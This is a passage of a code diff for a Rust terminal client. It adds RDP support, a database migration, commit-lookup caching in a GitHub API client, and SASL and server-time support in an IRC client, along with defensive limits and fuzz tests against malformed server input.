parking_lot = "0.12"
tracing = "0.1"
portable-pty = "0.9.0" portable-pty = "0.9.0"
serialport = { version = "4", default-features = false } serialport = { version = "4", default-features = false }
des = "0.9" des = "0.9"
@@ -29,6 +36,14 @@ image = { version = "0.25", default-features = false, features = ["jpeg"] }
rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] } rustls = { version = "0.23", default-features = false, features = ["ring", "std", "tls12"] }
webpki-roots = "1" webpki-roots = "1"
ironrdp = { version = "0.17", features = ["connector", "session", "graphics", "pdu", "svc", "dvc", "displaycontrol", "input", "cliprdr", "rdpsnd", "rdpdr"] }
ironrdp-rdpsnd-native = { version = "0.7", default-features = false }
ironrdp-blocking = "0.10"
ironrdp-mstsgu = "0.0.1"
x509-cert = { version = "0.2", default-features = false, features = ["std"] }
[target.'cfg(unix)'.dependencies]
ironrdp-rdpdr-native = "0.7"
[dev-dependencies] [dev-dependencies]
tiny_http = "0.12" tiny_http = "0.12"
+4
View File
@@ -105,6 +105,10 @@ fn main() {
vnc.vnc.as_mut().unwrap().vnc_port = 42900; vnc.vnc.as_mut().unwrap().vnc_port = 42900;
vnc.vnc.as_mut().unwrap().scale_to_fit = true; vnc.vnc.as_mut().unwrap().scale_to_fit = true;
profiles.push(vnc); profiles.push(vnc);
let mut rdp = mk(Protocol::Rdp, "Design workstation", "192.0.2.60", 0, "Home", false);
rdp.username = "andy".into();
rdp.rdp.as_mut().unwrap().domain = "STUDIO".into();
profiles.push(rdp);
for p in profiles { for p in profiles {
svc.create_profile(p).unwrap(); svc.create_profile(p).unwrap();
+56
View File
@@ -0,0 +1,56 @@
-- Migration 008: RDP protocol support
-- Adds an rdp_config column and drops the protocol CHECK constraint: protocol ids are validated
-- in code (Protocol::from_id), and each new protocol needed a table rebuild only to extend it.
CREATE TABLE IF NOT EXISTS profiles_new (
id TEXT PRIMARY KEY,
display_name TEXT NOT NULL,
description TEXT DEFAULT '',
protocol TEXT NOT NULL,
host TEXT NOT NULL,
port INTEGER NOT NULL,
username TEXT DEFAULT '',
tags TEXT DEFAULT '[]',
folder TEXT DEFAULT '',
environment TEXT DEFAULT '',
notes TEXT DEFAULT '',
favourite INTEGER DEFAULT 0,
last_connected TEXT,
connect_timeout INTEGER DEFAULT 30,
read_timeout INTEGER DEFAULT 0,
terminal_font_family TEXT DEFAULT '',
terminal_font_size INTEGER DEFAULT 14,
terminal_scrollback INTEGER DEFAULT 10000,
terminal_cursor_style TEXT DEFAULT 'block',
ssh_config TEXT,
telnet_config TEXT,
raw_config TEXT,
github_config TEXT,
vnc_config TEXT,
irc_config TEXT,
serial_config TEXT,
rdp_config TEXT,
created_at TEXT NOT NULL,
updated_at TEXT NOT NULL
);
INSERT OR IGNORE INTO profiles_new (
id, display_name, description, protocol, host, port, username, tags, folder, environment,
notes, favourite, last_connected, connect_timeout, read_timeout, terminal_font_family,
terminal_font_size, terminal_scrollback, terminal_cursor_style, ssh_config, telnet_config,
raw_config, github_config, vnc_config, irc_config, serial_config, rdp_config, created_at,
updated_at
)
SELECT
id, display_name, description, protocol, host, port, username, tags, folder, environment,
notes, favourite, last_connected, connect_timeout, read_timeout, terminal_font_family,
terminal_font_size, terminal_scrollback, terminal_cursor_style, ssh_config, telnet_config,
raw_config, github_config, vnc_config, irc_config, serial_config, NULL, created_at,
updated_at
FROM profiles;
DROP TABLE profiles;
ALTER TABLE profiles_new RENAME TO profiles;
INSERT INTO schema_version (version, applied_at) VALUES (8, datetime('now'));
+58 -26
View File
@@ -16,11 +16,17 @@ const MAX_ERROR_BODY_BYTES: u64 = 64 << 10;
const MAX_ARCHIVE_BYTES: u64 = 2 << 30; const MAX_ARCHIVE_BYTES: u64 = 2 << 30;
const USER_AGENT: &str = "NexusTerminal/1.0"; const USER_AGENT: &str = "NexusTerminal/1.0";
const COMMIT_LOOKUP_WORKERS: usize = 5; const COMMIT_LOOKUP_WORKERS: usize = 5;
/// Commit lookups per refresh, most recently pushed first; the rest keep cached (or no) commit
/// info until they're pushed to. One lookup per repo per refresh would exhaust the API's hourly
/// rate limit for accounts with thousands of repos.
const MAX_COMMIT_LOOKUPS: usize = 100;
pub struct Client { pub struct Client {
base_url: String, base_url: String,
token: String, token: String,
agent: ureq::Agent, agent: ureq::Agent,
/// full_name → (pushed_at it was looked up for, committer, commit time).
commits: parking_lot::Mutex<std::collections::HashMap<String, (String, String, String)>>,
} }
#[derive(Deserialize)] #[derive(Deserialize)]
@@ -71,7 +77,7 @@ impl Client {
/// `base_url` is the API root, e.g. `https://api.github.com` or `https://ghe.example.com/api/v3`. /// `base_url` is the API root, e.g. `https://api.github.com` or `https://ghe.example.com/api/v3`.
pub fn new(base_url: &str, token: &str) -> Client { pub fn new(base_url: &str, token: &str) -> Client {
let agent = ureq::Agent::config_builder().timeout_global(Some(Duration::from_secs(30))).http_status_as_error(false).build().into(); let agent = ureq::Agent::config_builder().timeout_global(Some(Duration::from_secs(30))).http_status_as_error(false).build().into();
Client { base_url: base_url.trim_end_matches('/').to_string(), token: token.to_string(), agent } Client { base_url: base_url.trim_end_matches('/').to_string(), token: token.to_string(), agent, commits: Default::default() }
} }
fn get(&self, url: &str) -> Result<ureq::http::Response<ureq::Body>, ureq::Error> { fn get(&self, url: &str) -> Result<ureq::http::Response<ureq::Body>, ureq::Error> {
@@ -162,20 +168,26 @@ impl Client {
}) })
.collect(); .collect();
let total = result.len(); // Enrich with latest commit metadata (best-effort), five lookups at a time. A repo not
// pushed to since its last lookup reuses the cached answer.
let mut lookups: Vec<(usize, String, String)> = Vec::new();
{
let cache = self.commits.lock();
for (i, r) in result.iter_mut().enumerate() {
match cache.get(&r.full_name) {
Some((pushed, who, when)) if *pushed == r.pushed_at => (r.latest_committer, r.latest_commit_at) = (who.clone(), when.clone()),
_ if lookups.len() < MAX_COMMIT_LOOKUPS => {
let reference = if r.default_branch.is_empty() { "HEAD" } else { &r.default_branch };
lookups.push((i, r.full_name.clone(), reference.to_string()));
}
_ => {}
}
}
}
let total = lookups.len();
progress(0, total); progress(0, total);
// Enrich with latest commit metadata (best-effort), five lookups at a time.
let next = AtomicUsize::new(0); let next = AtomicUsize::new(0);
let done = AtomicUsize::new(0); let done = AtomicUsize::new(0);
let lookups: Vec<(usize, String, String)> = result
.iter()
.enumerate()
.map(|(i, r)| {
let reference = if r.default_branch.is_empty() { "HEAD" } else { &r.default_branch };
(i, r.full_name.clone(), reference.to_string())
})
.collect();
let found: Vec<(usize, String, String)> = std::thread::scope(|s| { let found: Vec<(usize, String, String)> = std::thread::scope(|s| {
let workers: Vec<_> = (0..COMMIT_LOOKUP_WORKERS.min(total)) let workers: Vec<_> = (0..COMMIT_LOOKUP_WORKERS.min(total))
.map(|_| { .map(|_| {
@@ -184,8 +196,12 @@ impl Client {
loop { loop {
let i = next.fetch_add(1, Ordering::SeqCst); let i = next.fetch_add(1, Ordering::SeqCst);
let Some((idx, name, reference)) = lookups.get(i) else { break }; let Some((idx, name, reference)) = lookups.get(i) else { break };
if let Ok((who, when)) = self.fetch_latest_commit(name, reference) { match self.fetch_latest_commit(name, reference) {
out.push((*idx, who, when)); Ok((who, when)) => out.push((*idx, who, when)),
// No such ref / empty repository: a definite answer, cache it. Auth
// and rate-limit failures are retried next refresh.
Err(e) if ["HTTP 404", "HTTP 409"].iter().any(|c| e.to_string().contains(c)) => out.push((*idx, String::new(), String::new())),
Err(_) => {}
} }
progress(done.fetch_add(1, Ordering::SeqCst) + 1, total); progress(done.fetch_add(1, Ordering::SeqCst) + 1, total);
} }
@@ -195,9 +211,12 @@ impl Client {
.collect(); .collect();
workers.into_iter().flat_map(|w| w.join().unwrap_or_default()).collect() workers.into_iter().flat_map(|w| w.join().unwrap_or_default()).collect()
}); });
let mut cache = self.commits.lock();
for (idx, who, when) in found { for (idx, who, when) in found {
result[idx].latest_committer = who; let r = &mut result[idx];
result[idx].latest_commit_at = when; cache.insert(r.full_name.clone(), (r.pushed_at.clone(), who.clone(), when.clone()));
r.latest_committer = who;
r.latest_commit_at = when;
} }
Ok(result) Ok(result)
} }
@@ -355,7 +374,8 @@ fn copy_limited_archive(dst: &mut impl Write, src: impl Read, max_bytes: u64) ->
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use super::*; use super::*;
use std::sync::{Arc, Mutex}; use parking_lot::Mutex;
use std::sync::Arc;
#[test] #[test]
fn read_limited_rejects_oversized_response() { fn read_limited_rejects_oversized_response() {
@@ -410,7 +430,7 @@ mod tests {
std::thread::spawn(move || { std::thread::spawn(move || {
for req in server.incoming_requests() { for req in server.incoming_requests() {
let header = |name: &'static str| req.headers().iter().find(|h| h.field.equiv(name)).map(|h| h.value.to_string()); let header = |name: &'static str| req.headers().iter().find(|h| h.field.equiv(name)).map(|h| h.value.to_string());
log.lock().unwrap().push((req.url().to_string(), header("Authorization"), header("User-Agent"))); log.lock().push((req.url().to_string(), header("Authorization"), header("User-Agent")));
let (status, body) = handler(req.url()); let (status, body) = handler(req.url());
let _ = req.respond(tiny_http::Response::from_string(body).with_status_code(status)); let _ = req.respond(tiny_http::Response::from_string(body).with_status_code(status));
} }
@@ -422,7 +442,7 @@ mod tests {
fn validate_token_returns_login_and_reports_status() { fn validate_token_returns_login_and_reports_status() {
let (base, seen) = serve(|_| (200, r#"{"login":"octocat"}"#.into())); let (base, seen) = serve(|_| (200, r#"{"login":"octocat"}"#.into()));
assert_eq!(Client::new(&base, "tok").validate_token().unwrap(), "octocat"); assert_eq!(Client::new(&base, "tok").validate_token().unwrap(), "octocat");
let (url, auth, ua) = seen.lock().unwrap()[0].clone(); let (url, auth, ua) = seen.lock()[0].clone();
assert_eq!(url, "/user"); assert_eq!(url, "/user");
assert_eq!(auth.as_deref(), Some("Bearer tok")); assert_eq!(auth.as_deref(), Some("Bearer tok"));
assert_eq!(ua.as_deref(), Some(USER_AGENT)); assert_eq!(ua.as_deref(), Some(USER_AGENT));
@@ -459,7 +479,8 @@ mod tests {
} }
}); });
let calls = Mutex::new(Vec::new()); let calls = Mutex::new(Vec::new());
let repos = Client::new(&base, "t").fetch_repos_with_progress(|done, total| calls.lock().unwrap().push((done, total))).unwrap(); let client = Client::new(&base, "t");
let repos = client.fetch_repos_with_progress(|done, total| calls.lock().push((done, total))).unwrap();
assert_eq!(repos.len(), 101); assert_eq!(repos.len(), 101);
assert_eq!(repos[0].full_name, "me/r100"); assert_eq!(repos[0].full_name, "me/r100");
assert_eq!(repos[0].pushed_at, "2025-06-01T12:00:00Z"); assert_eq!(repos[0].pushed_at, "2025-06-01T12:00:00Z");
@@ -472,12 +493,23 @@ mod tests {
assert!(r0.private && r0.description.is_empty() && r0.language.is_empty()); assert!(r0.private && r0.description.is_empty() && r0.language.is_empty());
assert!(repos.iter().filter(|r| r.latest_committer.is_empty()).count() == 99); assert!(repos.iter().filter(|r| r.latest_committer.is_empty()).count() == 99);
let mut calls = calls.into_inner().unwrap(); let mut calls = calls.into_inner();
assert_eq!(calls[0], (0, 101)); // At most MAX_COMMIT_LOOKUPS lookups per refresh, most recently pushed first.
assert_eq!(calls[0], (0, MAX_COMMIT_LOOKUPS));
calls.sort(); calls.sort();
assert_eq!(calls.last(), Some(&(101, 101))); assert_eq!(calls.last(), Some(&(MAX_COMMIT_LOOKUPS, MAX_COMMIT_LOOKUPS)));
assert_eq!(calls.len(), 102); assert_eq!(calls.len(), MAX_COMMIT_LOOKUPS + 1);
assert_eq!(seen.lock().unwrap().iter().filter(|s| s.0.starts_with("/user/repos")).count(), 2); assert_eq!(seen.lock().iter().filter(|s| s.0.starts_with("/user/repos")).count(), 2);
// A refresh with nothing newly pushed reuses the answers it got (found or not).
let commit_calls = || seen.lock().iter().filter(|s| s.0.contains("/commits/")).count();
let before = commit_calls();
let again = client.fetch_repos_with_progress(|_, _| {}).unwrap();
assert_eq!(again[0].latest_committer, "Ann");
assert_eq!(commit_calls() - before, 101 - MAX_COMMIT_LOOKUPS, "only repos not looked up yet are fetched");
let third = commit_calls();
client.fetch_repos_with_progress(|_, _| {}).unwrap();
assert_eq!(commit_calls(), third, "everything is cached now");
} }
#[test] #[test]
@@ -505,7 +537,7 @@ mod tests {
assert_eq!(std::fs::read(&dest).unwrap(), b"ZIPDATA"); assert_eq!(std::fs::read(&dest).unwrap(), b"ZIPDATA");
let err = client.download_repo_archive("me/r", "", &dest).unwrap_err().to_string(); let err = client.download_repo_archive("me/r", "", &dest).unwrap_err().to_string();
assert_eq!(err, "GitHub API returned HTTP 404: missing"); assert_eq!(err, "GitHub API returned HTTP 404: missing");
assert_eq!(seen.lock().unwrap()[1].0, "/repos/me/r/zipball"); assert_eq!(seen.lock()[1].0, "/repos/me/r/zipball");
assert!(client.download_repo_archive("bad", "", &dest).is_err()); assert!(client.download_repo_archive("bad", "", &dest).is_err());
std::fs::remove_dir_all(dir).unwrap(); std::fs::remove_dir_all(dir).unwrap();
} }
+218 -25
View File
@@ -5,11 +5,12 @@
//! optionally wrapped in TLS). It alternates between short reads and draining the outgoing //! optionally wrapped in TLS). It alternates between short reads and draining the outgoing
//! queue, so the transport never has to be split. //! queue, so the transport never has to be split.
use parking_lot::{Mutex, MutexGuard};
use std::collections::HashMap; use std::collections::HashMap;
use std::io::{ErrorKind, Read, Write}; use std::io::{ErrorKind, Read, Write};
use std::net::{TcpStream, ToSocketAddrs}; use std::net::{TcpStream, ToSocketAddrs};
use std::sync::Arc;
use std::sync::mpsc::{self, Receiver, Sender}; use std::sync::mpsc::{self, Receiver, Sender};
use std::sync::{Arc, Mutex, MutexGuard};
use std::time::{Duration, Instant}; use std::time::{Duration, Instant};
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
@@ -24,6 +25,8 @@ const PING_DELAY: Duration = Duration::from_secs(20);
const PING_TIMEOUT: Duration = Duration::from_secs(60); const PING_TIMEOUT: Duration = Duration::from_secs(60);
const PING_GRACE: Duration = Duration::from_secs(30); const PING_GRACE: Duration = Duration::from_secs(30);
const MAX_LINE_BYTES: usize = 1 << 20; const MAX_LINE_BYTES: usize = 1 << 20;
/// Users tracked per channel; a hostile server can't grow the client past this.
const MAX_CHANNEL_USERS: usize = 10_000;
/// A bidirectional byte stream. Reads must not block indefinitely: they should return /// A bidirectional byte stream. Reads must not block indefinitely: they should return
/// `WouldBlock` or `TimedOut` after a short interval (tens of milliseconds) so the client's /// `WouldBlock` or `TimedOut` after a short interval (tens of milliseconds) so the client's
@@ -50,6 +53,10 @@ pub struct Config {
pub nickserv_account: String, pub nickserv_account: String,
pub nickserv_password: String, pub nickserv_password: String,
/// SASL PLAIN login during registration (IRCv3); empty account disables it.
pub sasl_account: String,
pub sasl_password: String,
/// Provides the transport instead of a direct TCP connect (e.g. an SSH tunnel). TLS, when /// Provides the transport instead of a direct TCP connect (e.g. an SSH tunnel). TLS, when
/// enabled, is layered on top of it. /// enabled, is layered on top of it.
pub connector: Option<Connector>, pub connector: Option<Connector>,
@@ -75,6 +82,8 @@ impl Default for Config {
nickserv_identify: false, nickserv_identify: false,
nickserv_account: String::new(), nickserv_account: String::new(),
nickserv_password: String::new(), nickserv_password: String::new(),
sasl_account: String::new(),
sasl_password: String::new(),
connector: None, connector: None,
connect_timeout: Duration::ZERO, connect_timeout: Duration::ZERO,
on_event: Arc::new(|_| {}), on_event: Arc::new(|_| {}),
@@ -136,6 +145,8 @@ struct Channel {
struct State { struct State {
nick: String, nick: String,
/// Capabilities from a multi-line CAP LS, gathered until the last line.
caps_offered: Vec<String>,
connected: bool, connected: bool,
closing: bool, closing: bool,
list_rooms: Vec<RoomInfo>, list_rooms: Vec<RoomInfo>,
@@ -150,6 +161,9 @@ pub struct Client {
cfg: Config, cfg: Config,
state: Mutex<State>, state: Mutex<State>,
out: Mutex<Option<Sender<Out>>>, out: Mutex<Option<Sender<Out>>>,
/// The server-time of the line being handled (ms since the epoch; 0 = none), stamped on the
/// events it produces.
line_time: std::sync::atomic::AtomicI64,
} }
/// A parsed server line. /// A parsed server line.
@@ -157,6 +171,8 @@ struct Message {
source: String, source: String,
command: String, command: String,
params: Vec<String>, params: Vec<String>,
/// IRCv3 `@time=` tag, in ms since the epoch.
time: Option<i64>,
} }
impl Message { impl Message {
@@ -184,6 +200,7 @@ impl Client {
cfg, cfg,
state: Mutex::new(State { state: Mutex::new(State {
nick, nick,
caps_offered: Vec::new(),
connected: false, connected: false,
closing: false, closing: false,
list_rooms: Vec::new(), list_rooms: Vec::new(),
@@ -193,11 +210,12 @@ impl Client {
last_pong: Instant::now(), last_pong: Instant::now(),
}), }),
out: Mutex::new(None), out: Mutex::new(None),
line_time: Default::default(),
}) })
} }
fn st(&self) -> MutexGuard<'_, State> { fn st(&self) -> MutexGuard<'_, State> {
self.state.lock().unwrap_or_else(|e| e.into_inner()) self.state.lock()
} }
/// Connects and blocks until registration succeeds (RPL_WELCOME), fails, or times out. /// Connects and blocks until registration succeeds (RPL_WELCOME), fails, or times out.
@@ -205,10 +223,10 @@ impl Client {
let (ready_tx, ready_rx) = mpsc::channel(); let (ready_tx, ready_rx) = mpsc::channel();
let (out_tx, out_rx) = mpsc::channel(); let (out_tx, out_rx) = mpsc::channel();
self.st().ready = Some(ready_tx); self.st().ready = Some(ready_tx);
*self.out.lock().unwrap_or_else(|e| e.into_inner()) = Some(out_tx); *self.out.lock() = Some(out_tx);
let client = self.clone(); let client = self.clone();
std::thread::spawn(move || client.io_thread(out_rx)); std::thread::spawn(super::guarded(self.cfg.on_error.clone(), self.cfg.on_close.clone(), move || client.io_thread(out_rx)));
let timeout = self.cfg.connect_timeout; let timeout = self.cfg.connect_timeout;
match ready_rx.recv_timeout(timeout) { match ready_rx.recv_timeout(timeout) {
@@ -234,7 +252,7 @@ impl Client {
} }
fn queue(&self, out: Out) -> bool { fn queue(&self, out: Out) -> bool {
let guard = self.out.lock().unwrap_or_else(|e| e.into_inner()); let guard = self.out.lock();
guard.as_ref().is_some_and(|tx| tx.send(out).is_ok()) guard.as_ref().is_some_and(|tx| tx.send(out).is_ok())
} }
@@ -471,7 +489,7 @@ impl Client {
fn io_thread(self: Arc<Self>, out_rx: Receiver<Out>) { fn io_thread(self: Arc<Self>, out_rx: Receiver<Out>) {
let result = self.open_transport().and_then(|stream| self.run(stream, &out_rx)); let result = self.open_transport().and_then(|stream| self.run(stream, &out_rx));
*self.out.lock().unwrap_or_else(|e| e.into_inner()) = None; *self.out.lock() = None;
let (was_closing, was_connected, ready) = { let (was_closing, was_connected, ready) = {
let mut st = self.st(); let mut st = self.st();
let r = (st.closing, st.connected, st.ready.take()); let r = (st.closing, st.connected, st.ready.take());
@@ -543,6 +561,8 @@ impl Client {
stream.write_all(b"\r\n")?; stream.write_all(b"\r\n")?;
Ok(stream.flush()?) Ok(stream.flush()?)
}; };
// IRCv3 capability negotiation; servers without it ignore the command and register as usual.
write(&mut stream, "CAP LS 302")?;
if !self.cfg.server_pass.is_empty() { if !self.cfg.server_pass.is_empty() {
write(&mut stream, &encode("PASS", &[&self.cfg.server_pass]))?; write(&mut stream, &encode("PASS", &[&self.cfg.server_pass]))?;
} }
@@ -586,7 +606,9 @@ impl Client {
let raw: Vec<u8> = buf.drain(..=pos).collect(); let raw: Vec<u8> = buf.drain(..=pos).collect();
let line = String::from_utf8_lossy(&raw); let line = String::from_utf8_lossy(&raw);
if let Some(msg) = parse_line(line.trim_end_matches(['\r', '\n'])) { if let Some(msg) = parse_line(line.trim_end_matches(['\r', '\n'])) {
self.line_time.store(msg.time.unwrap_or(0), std::sync::atomic::Ordering::Relaxed);
self.handle_message(&msg); self.handle_message(&msg);
self.line_time.store(0, std::sync::atomic::Ordering::Relaxed);
} }
} }
if buf.len() > MAX_LINE_BYTES { if buf.len() > MAX_LINE_BYTES {
@@ -601,8 +623,35 @@ impl Client {
fold(nick) == fold(&self.st().nick) fold(nick) == fold(&self.st().nick)
} }
/// Whether we're in `room`: state is only kept for channels the client itself joined, so a
/// server can't grow it with JOINs for rooms we never asked for.
fn tracks(&self, room: &str) -> bool {
self.st().channels.contains_key(&fold(room))
}
fn handle_message(&self, m: &Message) { fn handle_message(&self, m: &Message) {
match m.command.as_str() { match m.command.as_str() {
"CAP" => self.handle_cap(m),
"AUTHENTICATE" if m.param(0) == "+" => {
// SASL PLAIN: authzid NUL authcid NUL password, base64, in 400-byte chunks.
use base64::Engine;
let blob = base64::engine::general_purpose::STANDARD.encode(format!("{0}\0{0}\0{1}", self.cfg.sasl_account, self.cfg.sasl_password));
for chunk in blob.as_bytes().chunks(400) {
let _ = self.send("AUTHENTICATE", &[std::str::from_utf8(chunk).unwrap_or("")]);
}
if blob.len() % 400 == 0 {
let _ = self.send("AUTHENTICATE", &["+"]);
}
}
// 900 logged in, 903 success; 902/904–907 failures. Either way registration goes on.
"903" => {
self.emit(Event { kind: "notice".into(), text: format!("SASL: logged in as {}", self.cfg.sasl_account), ..Default::default() });
let _ = self.send("CAP", &["END"]);
}
"902" | "904" | "905" | "906" | "907" => {
self.emit(Event { kind: "error".into(), text: format!("SASL login failed: {}", m.last()), ..Default::default() });
let _ = self.send("CAP", &["END"]);
}
"001" => self.handle_welcome(m), "001" => self.handle_welcome(m),
"433" | "436" | "437" => { "433" | "436" | "437" => {
let mut st = self.st(); let mut st = self.st();
@@ -727,18 +776,68 @@ impl Client {
self.emit(Event { kind: "notice".into(), target, from: m.source.clone(), text: m.last().into(), ..Default::default() }); self.emit(Event { kind: "notice".into(), target, from: m.source.clone(), text: m.last().into(), ..Default::default() });
} }
/// CAP LS / ACK / NAK: ask for server-time (and sasl when configured), then authenticate or
/// end negotiation.
fn handle_cap(&self, m: &Message) {
let sub = m.param(1).to_ascii_uppercase();
let caps: Vec<&str> = m.last().split_whitespace().map(|c| c.split('=').next().unwrap_or(c)).collect();
let want_sasl = !self.cfg.sasl_account.is_empty();
match sub.as_str() {
// A multi-line LS list ("CAP * LS * :…") continues; act on the last line.
"LS" if m.params.len() >= 4 && m.param(2) == "*" => {
self.st().caps_offered.extend(caps.iter().map(|c| c.to_string()));
}
"LS" => {
let offered: Vec<String> = {
let mut st = self.st();
st.caps_offered.extend(caps.iter().map(|c| c.to_string()));
std::mem::take(&mut st.caps_offered)
};
let mut req = vec![];
if offered.iter().any(|c| c == "server-time") {
req.push("server-time");
}
if want_sasl && offered.iter().any(|c| c == "sasl") {
req.push("sasl");
} else if want_sasl {
self.emit(Event { kind: "error".into(), text: "SASL: the server doesn't offer it".into(), ..Default::default() });
}
if req.is_empty() {
let _ = self.send("CAP", &["END"]);
} else {
let _ = self.send("CAP", &["REQ", &req.join(" ")]);
}
}
"ACK" => {
if want_sasl && caps.contains(&"sasl") {
let _ = self.send("AUTHENTICATE", &["PLAIN"]);
} else {
let _ = self.send("CAP", &["END"]);
}
}
"NAK" => {
let _ = self.send("CAP", &["END"]);
}
_ => {}
}
}
fn handle_join(&self, m: &Message) { fn handle_join(&self, m: &Message) {
let room = m.param(0).to_string(); let room = m.param(0).to_string();
if room.is_empty() { if room.is_empty() {
return; return;
} }
let from = m.source.clone(); let from = m.source.clone();
let me = self.is_me(&from);
if !me && !self.tracks(&room) {
return;
}
if !from.is_empty() { if !from.is_empty() {
let mut st = self.st(); let mut st = self.st();
let ch = st.channels.entry(fold(&room)).or_insert_with(|| Channel { name: room.clone(), topic: String::new(), users: Vec::new() }); let ch = st.channels.entry(fold(&room)).or_insert_with(|| Channel { name: room.clone(), topic: String::new(), users: Vec::new() });
add_user(ch, &from); add_user(ch, &from);
} }
if self.is_me(&from) { if me {
self.remember_room_membership(&room, true); self.remember_room_membership(&room, true);
} }
self.emit(Event { kind: "join".into(), target: room.clone(), from: from.clone(), text: format!("{from} joined {room}"), ..Default::default() }); self.emit(Event { kind: "join".into(), target: room.clone(), from: from.clone(), text: format!("{from} joined {room}"), ..Default::default() });
@@ -753,6 +852,9 @@ impl Client {
} }
let from = m.source.clone(); let from = m.source.clone();
let me = self.is_me(&from); let me = self.is_me(&from);
if !self.tracks(&room) {
return;
}
if !from.is_empty() { if !from.is_empty() {
let mut st = self.st(); let mut st = self.st();
if me { if me {
@@ -776,6 +878,9 @@ impl Client {
} }
let (room, kicked) = (m.param(0).to_string(), m.param(1).to_string()); let (room, kicked) = (m.param(0).to_string(), m.param(1).to_string());
let me = self.is_me(&kicked); let me = self.is_me(&kicked);
if !self.tracks(&room) {
return;
}
{ {
let mut st = self.st(); let mut st = self.st();
if me { if me {
@@ -845,7 +950,7 @@ impl Client {
} }
fn handle_names(&self, m: &Message) { fn handle_names(&self, m: &Message) {
if m.params.len() < 4 { if m.params.len() < 4 || !self.tracks(m.param(2)) {
return; return;
} }
{ {
@@ -912,7 +1017,8 @@ impl Client {
fn emit(&self, mut event: Event) { fn emit(&self, mut event: Event) {
if event.timestamp == 0 { if event.timestamp == 0 {
event.timestamp = chrono::Utc::now().timestamp_millis(); let t = self.line_time.load(std::sync::atomic::Ordering::Relaxed);
event.timestamp = if t > 0 { t } else { chrono::Utc::now().timestamp_millis() };
} }
if event.target.is_empty() { if event.target.is_empty() {
event.target = SERVER_TARGET.into(); event.target = SERVER_TARGET.into();
@@ -942,7 +1048,7 @@ fn fold(s: &str) -> String {
} }
fn add_user(ch: &mut Channel, nick: &str) { fn add_user(ch: &mut Channel, nick: &str) {
if !ch.users.iter().any(|u| fold(u) == fold(nick)) { if ch.users.len() < MAX_CHANNEL_USERS && !ch.users.iter().any(|u| fold(u) == fold(nick)) {
ch.users.push(nick.to_string()); ch.users.push(nick.to_string());
} }
} }
@@ -985,8 +1091,11 @@ fn encode(command: &str, params: &[&str]) -> String {
fn parse_line(line: &str) -> Option<Message> { fn parse_line(line: &str) -> Option<Message> {
let mut rest = line.trim_start(); let mut rest = line.trim_start();
if rest.starts_with('@') { let mut time = None;
rest = rest.split_once(' ')?.1.trim_start(); if let Some(tagged) = rest.strip_prefix('@') {
let (tags, tail) = tagged.split_once(' ')?;
time = tags.split(';').find_map(|t| t.strip_prefix("time=")).and_then(|v| chrono::DateTime::parse_from_rfc3339(v).ok()).map(|d| d.timestamp_millis());
rest = tail.trim_start();
} }
let mut source = String::new(); let mut source = String::new();
if let Some(prefixed) = rest.strip_prefix(':') { if let Some(prefixed) = rest.strip_prefix(':') {
@@ -1002,7 +1111,7 @@ fn parse_line(line: &str) -> Option<Message> {
let command = words.next()?.to_uppercase(); let command = words.next()?.to_uppercase();
let mut params: Vec<String> = words.map(String::from).collect(); let mut params: Vec<String> = words.map(String::from).collect();
params.extend(trailing.map(String::from)); params.extend(trailing.map(String::from));
Some(Message { source, command, params }) Some(Message { source, command, params, time })
} }
/// A CTCP request in a PRIVMSG: `(TAG, args)`, as girc's `DecodeCTCP`. /// A CTCP request in a PRIVMSG: `(TAG, args)`, as girc's `DecodeCTCP`.
@@ -1027,26 +1136,79 @@ fn split_first_arg(input: &str) -> (&str, &str) {
} }
} }
/// Fuzzing entry point: each line of `data` through the parser, the state machine (as a
/// client in #a) and the mIRC formatter.
#[cfg(feature = "fuzzing")]
#[doc(hidden)]
pub fn fuzz_lines(data: &[u8]) {
let client = Client::new(Config::default());
client.st().nick = "me".into();
if let Some(m) = parse_line(":me!u@h JOIN #a") {
client.handle_message(&m);
}
for line in String::from_utf8_lossy(data).lines() {
if let Some(m) = parse_line(line) {
client.handle_message(&m);
let e = Event { kind: "message".into(), target: m.param(0).into(), from: m.source.clone(), text: m.last().into(), ..Default::default() };
let _ = crate::ircformat::format_event(&e, "12:00");
}
}
}
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use super::*; use super::*;
use std::io::{BufRead, BufReader}; use std::io::{BufRead, BufReader};
use std::net::TcpListener; use std::net::TcpListener;
#[test]
fn hostile_lines_never_panic() {
let client = Client::new(Config::default());
client.st().nick = "me".into();
client.handle_message(&parse_line(":me!u@h JOIN #a").unwrap());
let mut n = crate::Noise::new(0x1bc);
for _ in 0..5000 {
let raw = n.bytes(120, b":!@# ,;=\x01\x02\x03\x0f\x16\x1d\x1fme#aJOINPARTKICKPRIVMSGNOTICE3534330011234567890");
let line = String::from_utf8_lossy(&raw);
if let Some(m) = parse_line(&line) {
client.handle_message(&m);
let e = Event { kind: "message".into(), target: m.param(0).into(), from: m.source.clone(), text: m.last().into(), ..Default::default() };
let _ = crate::ircformat::format_event(&e, "12:00");
}
}
}
#[test] #[test]
fn remember_room_membership_tracks_confirmed_channels() { fn remember_room_membership_tracks_confirmed_channels() {
let updates = Arc::new(Mutex::new(Vec::new())); let updates = Arc::new(Mutex::new(Vec::new()));
let log = updates.clone(); let log = updates.clone();
let client = Client::new(Config { on_rooms_changed: Arc::new(move |rooms| log.lock().unwrap().push(rooms.join(","))), ..Default::default() }); let client = Client::new(Config { on_rooms_changed: Arc::new(move |rooms| log.lock().push(rooms.join(","))), ..Default::default() });
client.remember_room_membership("#One", true); client.remember_room_membership("#One", true);
client.remember_room_membership("#two", true); client.remember_room_membership("#two", true);
client.remember_room_membership("#one", true); client.remember_room_membership("#one", true);
client.remember_room_membership("#missing", false); client.remember_room_membership("#missing", false);
client.remember_room_membership("#ONE", false); client.remember_room_membership("#ONE", false);
assert_eq!(updates.lock().unwrap().join("|"), "#One|#One,#two|#two"); assert_eq!(updates.lock().join("|"), "#One|#One,#two|#two");
assert_eq!(client.st().room_names, vec!["#two"]); assert_eq!(client.st().room_names, vec!["#two"]);
} }
#[test]
fn only_joined_channels_are_tracked_and_users_are_capped() {
let client = Client::new(Config::default());
client.st().nick = "me".into();
let feed = |l: &str| client.handle_message(&parse_line(l).unwrap());
for n in 0..20_000 {
feed(&format!(":x{n}!u@h JOIN #room-{n}"));
}
assert!(client.st().channels.is_empty(), "JOINs by others for rooms we're not in are ignored");
feed(":me!u@h JOIN #ours");
feed(":other!u@h JOIN #ours");
